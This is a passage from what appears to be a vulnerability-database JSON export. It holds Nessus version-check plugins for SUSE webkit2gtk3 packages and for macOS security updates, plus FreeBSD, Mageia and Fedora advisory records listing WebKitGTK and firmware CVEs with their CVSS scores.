reference:\"webkit2gtk3-minibrowser-debuginfo-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"0\", reference:\"libjavascriptcoregtk-4_0-18-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"0\", reference:\"libjavascriptcoregtk-4_0-18-debuginfo-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"0\", reference:\"libwebkit2gtk-4_0-37-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"0\", reference:\"libwebkit2gtk-4_0-37-debuginfo-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"0\", reference:\"typelib-1_0-JavaScriptCore-4_0-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"0\", reference:\"typelib-1_0-WebKit2-4_0-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"0\", reference:\"typelib-1_0-WebKit2WebExtension-4_0-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"0\", reference:\"webkit-jsc-4-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"0\", reference:\"webkit-jsc-4-debuginfo-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"0\", reference:\"webkit2gtk-4_0-injected-bundles-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"0\", reference:\"webkit2gtk-4_0-injected-bundles-debuginfo-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"0\", reference:\"webkit2gtk3-debugsource-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"0\", reference:\"webkit2gtk3-devel-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"1\", cpu:\"x86_64\", reference:\"libjavascriptcoregtk-4_0-18-32bit-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"1\", cpu:\"x86_64\", reference:\"libjavascriptcoregtk-4_0-18-32bit-debuginfo-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"1\", cpu:\"x86_64\", reference:\"libwebkit2gtk-4_0-37-32bit-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"1\", cpu:\"x86_64\", reference:\"libwebkit2gtk-4_0-37-32bit-debuginfo-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"1\", reference:\"libjavascriptcoregtk-4_0-18-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"1\", reference:\"libjavascriptcoregtk-4_0-18-debuginfo-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"1\", reference:\"libwebkit2gtk-4_0-37-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"1\", reference:\"libwebkit2gtk-4_0-37-debuginfo-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"1\", reference:\"typelib-1_0-JavaScriptCore-4_0-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"1\", reference:\"typelib-1_0-WebKit2-4_0-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"1\", reference:\"typelib-1_0-WebKit2WebExtension-4_0-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"1\", reference:\"webkit-jsc-4-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"1\", reference:\"webkit-jsc-4-debuginfo-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"1\", reference:\"webkit2gtk-4_0-injected-bundles-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"1\", reference:\"webkit2gtk-4_0-injected-bundles-debuginfo-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"1\", reference:\"webkit2gtk3-debugsource-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"1\", reference:\"webkit2gtk3-devel-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"1\", reference:\"webkit2gtk3-minibrowser-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"1\", reference:\"webkit2gtk3-minibrowser-debuginfo-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"0\", reference:\"libjavascriptcoregtk-4_0-18-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"0\", reference:\"libjavascriptcoregtk-4_0-18-debuginfo-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"0\", reference:\"libwebkit2gtk-4_0-37-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"0\", reference:\"libwebkit2gtk-4_0-37-debuginfo-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"0\", reference:\"typelib-1_0-JavaScriptCore-4_0-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"0\", reference:\"typelib-1_0-WebKit2-4_0-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"0\", reference:\"typelib-1_0-WebKit2WebExtension-4_0-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"0\", reference:\"webkit-jsc-4-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"0\", reference:\"webkit-jsc-4-debuginfo-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"0\", reference:\"webkit2gtk-4_0-injected-bundles-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"0\", reference:\"webkit2gtk-4_0-injected-bundles-debuginfo-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"0\", reference:\"webkit2gtk3-debugsource-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"0\", reference:\"webkit2gtk3-devel-2.26.2-3.34.3\")) flag++;\n\n\nif (flag)\n{\n set_kb_item(name:'www/0/XSS', value:TRUE);\n if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());\n else security_hole(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"webkit2gtk3\");\n}\n", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-11-28T16:01:20", "description": "The remote host is running a version of macOS or Mac OS X that is 10.15.x prior to 10.15.1, 10.14.x prior to 10.14.6 security update 2019-001, 10.13.x prior to 10.13.6 security update 2019-006. It is, therefore, affected by multiple vulnerabilities :\n\n - An out-of-bounds read error exists in the accounts component due to improper input validation. A remote attacker can exploit this, to disclose memory contents. (CVE-2019-8787)\n\n - A security bypass vulnerability exists in the App Store component due to an improper state management implementation. A local attacker can exploit this, to login to the account of a previously logged in user without valid credentials. (CVE-2019-8803)\n\n - An out-of-bounds read error exists in the IOGraphics component due to improper bounds checking. A local attacker can exploit this, to cause unexpected system termination or to read kernel memory. (CVE-2019-8759)\n\nNote that Nessus has not tested for this issue but has instead relied only on the operating system's self-reported version number.", "cvss3": {}, "published": "2019-11-13T00:00:00", "type": "nessus", "title": "macOS 10.15.x < 10.15.1 / 10.14.x < 10.14.6 Security Update 2019-001 / 10.13.x < 10.13.6 Security Update 2019-006", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2017-7152", "CVE-2018-12152", "CVE-2018-12153", "CVE-2018-12154", "CVE-2019-11041", "CVE-2019-11042", "CVE-2019-15126", "CVE-2019-8509", "CVE-2019-8592", "CVE-2019-8705", "CVE-2019-8706", "CVE-2019-8708", "CVE-2019-8709", "CVE-2019-8715", "CVE-2019-8716", "CVE-2019-8717", "CVE-2019-8736", "CVE-2019-8737", "CVE-2019-8744", "CVE-2019-8745", "CVE-2019-8746", "CVE-2019-8748", "CVE-2019-8749", "CVE-2019-8750", "CVE-2019-8754", "CVE-2019-8756", "CVE-2019-8759", "CVE-2019-8761", "CVE-2019-8767", "CVE-2019-8772", "CVE-2019-8784", "CVE-2019-8785", "CVE-2019-8786", "CVE-2019-8787", "CVE-2019-8788", "CVE-2019-8789", "CVE-2019-8794", "CVE-2019-8797", "CVE-2019-8798", "CVE-2019-8801", "CVE-2019-8802", "CVE-2019-8803", "CVE-2019-8805", "CVE-2019-8807", "CVE-2019-8817", "CVE-2019-8824", "CVE-2019-8825", "CVE-2019-8829", "CVE-2019-8831", "CVE-2019-8850", "CVE-2019-8858"], "modified": "2021-01-28T00:00:00", "cpe": ["cpe:/o:apple:mac_os_x", "cpe:/o:apple:macos"], "id": "MACOS_HT210722.NASL", "href": "https://www.tenable.com/plugins/nessus/130967", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(130967);\n script_version(\"1.8\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/28\");\n\n script_cve_id(\n \"CVE-2017-7152\",\n \"CVE-2018-12152\",\n \"CVE-2018-12153\",\n \"CVE-2018-12154\",\n \"CVE-2019-8509\",\n \"CVE-2019-8592\",\n \"CVE-2019-8705\",\n \"CVE-2019-8706\",\n \"CVE-2019-8708\",\n \"CVE-2019-8709\",\n \"CVE-2019-8715\",\n \"CVE-2019-8716\",\n \"CVE-2019-8717\",\n \"CVE-2019-8736\",\n \"CVE-2019-8737\",\n \"CVE-2019-8744\",\n \"CVE-2019-8745\",\n \"CVE-2019-8746\",\n \"CVE-2019-8748\",\n \"CVE-2019-8749\",\n \"CVE-2019-8750\",\n \"CVE-2019-8754\",\n \"CVE-2019-8756\",\n \"CVE-2019-8759\",\n \"CVE-2019-8761\",\n \"CVE-2019-8767\",\n \"CVE-2019-8772\",\n \"CVE-2019-8784\",\n \"CVE-2019-8785\",\n \"CVE-2019-8786\",\n \"CVE-2019-8787\",\n \"CVE-2019-8788\",\n \"CVE-2019-8789\",\n \"CVE-2019-8794\",\n \"CVE-2019-8797\",\n \"CVE-2019-8798\",\n \"CVE-2019-8801\",\n \"CVE-2019-8802\",\n \"CVE-2019-8803\",\n \"CVE-2019-8805\",\n \"CVE-2019-8807\",\n \"CVE-2019-8817\",\n \"CVE-2019-8824\",\n \"CVE-2019-8825\",\n \"CVE-2019-8829\",\n \"CVE-2019-8831\",\n \"CVE-2019-8850\",\n \"CVE-2019-8858\",\n \"CVE-2019-11041\",\n \"CVE-2019-11042\",\n \"CVE-2019-15126\"\n );\n script_bugtraq_id(103136, 105582);\n script_xref(name:\"APPLE-SA\", value:\"HT210722\");\n script_xref(name:\"APPLE-SA\", value:\"APPLE-SA-2019-10-29\");\n\n script_name(english:\"macOS 10.15.x < 10.15.1 / 10.14.x < 10.14.6 Security Update 2019-001 / 10.13.x < 10.13.6 Security Update 2019-006\");\n script_summary(english:\"Checks the version of macOS or Mac OS X.\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote host is missing a macOS or Mac OS X security update that fixes multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote host is running a version of macOS or Mac OS X that is 10.15.x prior to 10.15.1, 10.14.x prior to 10.14.6 \nsecurity update 2019-001, 10.13.x prior to 10.13.6 security update 2019-006. It is, therefore, affected by multiple \nvulnerabilities :\n\n - An out-of-bounds read error exists in the accounts component due to improper input validation. A remote\n attacker can exploit this, to disclose memory contents. (CVE-2019-8787)\n\n - A security bypass vulnerability exists in the App Store component due to an improper state management\n implementation. A local attacker can exploit this, to login to the account of a previously logged in user\n without valid credentials. (CVE-2019-8803)\n\n - An out-of-bounds read error exists in the IOGraphics component due to improper bounds checking. A local\n attacker can exploit this, to cause unexpected system termination or to read kernel memory. \n (CVE-2019-8759)\n\nNote that Nessus has not tested for this issue but has instead relied only on the operating system's self-reported\nversion number.\");\n # https://support.apple.com/en-us/HT210722\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?39d6c45e\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to macOS 10.15.1 / 10.14.6 security update 2019-001 / 10.13.6 security update 2019-006 or later\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2019-8716\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/10/29\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/10/29\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/11/13\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"combined\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:apple:mac_os_x\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:apple:macos\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"MacOS X Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2019-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\", \"os_fingerprint.nasl\");\n script_require_ports(\"Host/MacOSX/Version\", \"Host/OS\");\n\n exit(0);\n}\n\ninclude('lists.inc');\ninclude('vcf.inc');\ninclude('vcf_extras_apple.inc');\n\napp_info = vcf::apple::macos::get_app_info();\n\nconstraints = [\n { 'min_version': '10.13', 'max_version': '10.13.6', 'fixed_build': '17G9016', 'fixed_display': '10.13.6 Security Update 2019-006' },\n { 'min_version': '10.14', 'max_version': '10.14.6', 'fixed_build': '18G1012', 'fixed_display': '10.14.6 Security Update 2019-001' },\n { 'min_version': '10.15', 'fixed_version': '10.15.1' }\n];\n\nvcf::apple::macos::check_version_and_report(app_info:app_info, constraints:constraints, severity:SECURITY_HOLE);\n", "cvss": {"score": 0.0, "vector": "NONE"}}], "freebsd": [{"lastseen": "2023-12-02T16:48:23", "description": "\n\nThe WebKitGTK project reports multiple vulnerabilities.\n\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-11-08T00:00:00", "type": "freebsd", "title": "webkit2-gtk3 -- Multiple vulnerabilities", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8710", "CVE-2019-8743", "CVE-2019-8764", "CVE-2019-8765", "CVE-2019-8766", "CVE-2019-8782", "CVE-2019-8783", "CVE-2019-8808", "CVE-2019-8811", "CVE-2019-8812", "CVE-2019-8813", "CVE-2019-8814", "CVE-2019-8815", "CVE-2019-8816", "CVE-2019-8819", "CVE-2019-8820", "CVE-2019-8821", "CVE-2019-8822", "CVE-2019-8823"], "modified": "2019-11-08T00:00:00", "id": "3E748551-C732-45F6-BD88-928DA16F23A8", "href": "https://vuxml.freebsd.org/freebsd/3e748551-c732-45f6-bd88-928da16f23a8.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "mageia": [{"lastseen": "2023-12-02T20:47:31", "description": "Updated webkit2 packages fix security vulnerabilities: Processing maliciously crafted web content may lead to universal cross site scripting (CVE-2019-8625, CVE-2019-8674, CVE-2019-8719, CVE-2019-8813) Processing maliciously crafted web content may lead to arbitrary code execution (CVE-2019-8707, CVE-2019-8710, CVE-2019-8720, CVE-2019-8726, CVE-2019-8733, CVE-2019-8735, CVE-2019-8743, CVE-2019-8763, CVE-2019-8764, CVE-2019-8765, CVE-2019-8766, CVE-2019-8782, CVE-2019-8783, CVE-2019-8808, CVE-2019-8811, CVE-2019-8812, CVE-2019-8814, CVE-2019-8815, CVE-2019-8816, CVE-2019-8819, CVE-2019-8820, CVE-2019-8821, CVE-2019-8822, CVE-2019-8823) A user may be unable to delete browsing history items (CVE-2019-8768) Visiting a maliciously crafted website may reveal browsing history (CVE-2019-8769) Maliciously crafted web content may violate iframe sandboxing policy (CVE-2019-8771) \n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-11-14T19:58:51", "type": "mageia", "title": "Updated webkit2 packages fix security vulnerabilities\n", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8625", "CVE-2019-8674", "CVE-2019-8707", "CVE-2019-8710", "CVE-2019-8719", "CVE-2019-8720", "CVE-2019-8726", "CVE-2019-8733", "CVE-2019-8735", "CVE-2019-8743", "CVE-2019-8763", "CVE-2019-8764", "CVE-2019-8765", "CVE-2019-8766", "CVE-2019-8768", "CVE-2019-8769", "CVE-2019-8771", "CVE-2019-8782", "CVE-2019-8783", "CVE-2019-8808", "CVE-2019-8811", "CVE-2019-8812", "CVE-2019-8813", "CVE-2019-8814", "CVE-2019-8815", "CVE-2019-8816", "CVE-2019-8819", "CVE-2019-8820", "CVE-2019-8821", "CVE-2019-8822", "CVE-2019-8823"], "modified": "2019-11-14T19:58:51", "id": "MGASA-2019-0324", "href": "https://advisories.mageia.org/MGASA-2019-0324.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-12-02T20:47:31", "description": "Updated nonfree firmwares fixees various issues, adds new / improved hardware support and fixes at least the following security issue: An issue was discovered on Broadcom Wi-Fi client devices. Specifically timed and handcrafted traffic can cause internal errors (related to state transitions) in a WLAN device that lead to improper layer 2 Wi-Fi encryption with a consequent possibility of information disclosure over the air for a discrete set of traffic (CVE-2019-15126). Full list of updates: * kernel-firmware-nonfree: \\- add firmware for Lontium LT9611UXC DSI to HDMI bridge \\- brcm: Add NVRAM for Vamrs 96boards Rock960 \\- brcm: make AP6212 in bananpi m2 plus/zero work \\- brcm: Link RPi4's WiFi firmware with DMI machine name \\- brcm: Update Raspberry Pi 3B+/4B NVRAM for downstream changes \\- brcm: remove old brcm firmwares that have newer cypress variants (CVE-2019-15126) \\- cypress: Link the new cypress firmware to the old brcm files (CVE-2019-15126) \\- i915: Add GuC firmware v49.0.1 for all platforms \\- i915: Add GuC v49.0.1 for DG1 \\- i915: Add HuC v7.7.1 for DG1 \\- i915: Add DMC v2.01 for ADL-S \\- mediatek: update MT8173 VPU firmware to v1.1.6 \\- mediatek: add firmware for MT7921 \\- Mellanox: Add new mlxsw_spectrum firmware xx.2008.2304 \\- qcom: add firmware files for Adreno a650 \\- qcom: Add SM8250 Audio DSP firmware \\- qcom: Add SM8250 Compute DSP firmware \\- qcom: Add venus firmware files for VPU-1.0 * iwlwifi-firmware: \\- Update firmware for Intel Bluetooth AX200, AX201, AX210 to 22.30.0.4 * rtlwifi-firmware: \\- rtw89: 8852a: add firmware v0.9.12.2 \n", "cvss3": {"exploitabilityScore": 1.6, "cvssV3": {"baseSeverity": "LOW", "confidentialityImpact": "LOW", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "ADJACENT_NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 3.1, "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 1.4}, "published": "2021-03-04T15:26:19", "type": "mageia", "title": "Updated nonfree firmware packages fix security vulnerability\n", "bulletinFamily": "unix", "cvss2": {"severity": "LOW", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 2.9, "vectorString": "AV:A/AC:M/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "ADJACENT_NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-15126"], "modified": "2021-03-04T15:26:16", "id": "MGASA-2021-0104", "href": "https://advisories.mageia.org/MGASA-2021-0104.html", "cvss": {"score": 2.9, "vector": "AV:A/AC:M/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2023-12-02T20:47:31", "description": "Updated nonfree firmwares fixees various issues, adds new / improved hardware support and fixes at least the following security issue: An issue was discovered on Broadcom Wi-Fi client devices. Specifically timed and handcrafted traffic can cause internal errors (related to state transitions) in a WLAN device that lead to improper layer 2 Wi-Fi encryption with a consequent possibility of information disclosure over the air for a discrete set of traffic (CVE-2019-15126). Full list of updates: * kernel-firmware-nonfree: \\- add firmware for Lontium LT9611UXC DSI to HDMI bridge \\- brcm: Add NVRAM for Vamrs 96boards Rock960 \\- brcm: make AP6212 in bananpi m2 plus/zero work \\- brcm: Link RPi4's WiFi firmware with DMI machine name \\- brcm: Update Raspberry Pi 3B+/4B NVRAM for downstream changes \\- brcm: remove old brcm firmwares that have newer cypress variants (CVE-2019-15126) \\- cypress: Link the new cypress firmware to the old brcm files (CVE-2019-15126) \\- i915: Add GuC firmware v49.0.1 for all platforms \\- i915: Add GuC v49.0.1 for DG1 \\- i915: Add HuC v7.7.1 for DG1 \\- i915: Add DMC v2.01 for ADL-S \\- mediatek: update MT8173 VPU firmware to v1.1.6 \\- mediatek: add firmware for MT7921 \\- Mellanox: Add new mlxsw_spectrum firmware xx.2008.2304 \\- QCA : Updated firmware files for WCN3991 \\- qcom: add firmware files for Adreno a650 \\- qcom: Add SM8250 Audio DSP firmware \\- qcom: Add SM8250 Compute DSP firmware \\- qcom: Add venus firmware files for VPU-1.0 * iwlwifi-firmware: \\- Update firmware for Intel Bluetooth 9260, 9560 to 22.20.0.3 \\- Update firmware for Intel Bluetooth AX200, AX201, AX210 to 22.30.0.4 * rtlwifi-firmware: \\- rtl_bt: Update RTL8821C BT(USB I/F) FW to 0x829a_7644 \\- rtl_bt: Update RTL8822C BT(USB I/F) FW to 0x099a_7253 \\- rtl_bt: Update RTL8822C BT(UART I/F) FW to 0x059A_25CB \\- rtl_bt: Add firmware and config files for RTL8852A BT USB chip \\- rtw88: RTL8821C: Update firmware to v24.8 (for rfe type 2 support) \\- rtw88: RTL8822C: Update normal firmware to v9.9.5 (performance fixes) \\- rtw89: 8852a: add firmware v0.9.12.2 * radeon-firmware: \\- amdgpu: add initial firmware for green sardine \n", "cvss3": {"exploitabilityScore": 1.6, "cvssV3": {"baseSeverity": "LOW", "confidentialityImpact": "LOW", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "ADJACENT_NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 3.1, "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 1.4}, "published": "2021-03-04T15:26:19", "type": "mageia", "title": "Updated nonfree firmware packages fix security vulnerability\n", "bulletinFamily": "unix", "cvss2": {"severity": "LOW", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 2.9, "vectorString": "AV:A/AC:M/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "ADJACENT_NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-15126"], "modified": "2021-03-04T15:26:16", "id": "MGASA-2021-0103", "href": "https://advisories.mageia.org/MGASA-2021-0103.html", "cvss": {"score": 2.9, "vector": "AV:A/AC:M/Au:N/C:P/I:N/A:N"}}], "fedora": [{"lastseen": "2021-07-28T14:46:51", "description": "WebKitGTK is the port of the portable web rendering engine WebKit to the GTK platform. This package contains WebKit2 based WebKitGTK for GTK 3. ", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-11-15T03:03:06", "type": "fedora", "title": "[SECURITY] Fedora 31 Update: webkit2gtk3-2.26.2-1.fc31", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8812", "CVE-2019-8814"], "modified": "2019-11-15T03:03:06", "id": "FEDORA:C00126087A1E", "href": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/thread/WOVHOHAND2LF77ZTFDGGS2S7JUAWWAYO/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-28T14:46:51", "description": "WebKitGTK is the port of the portable web rendering engine WebKit to the GTK platform. This package contains WebKit2 based WebKitGTK for GTK 3. ", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-11-15T03:56:36", "type": "fedora", "title": "[SECURITY] Fedora 30 Update: webkit2gtk3-2.26.2-1.fc30", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8812", "CVE-2019-8814"], "modified": "2019-11-15T03:56:36", "id": "FEDORA:B29916092532", "href": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/thread/KP6UYDPJRIPQQ5YTFSMLFMIS5OUGZAOV/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "osv": [{"lastseen": "2023-06-28T06:40:58", "description": "\nThese vulnerabilities have been discovered in the webkit2gtk web engine:\n\n\n* 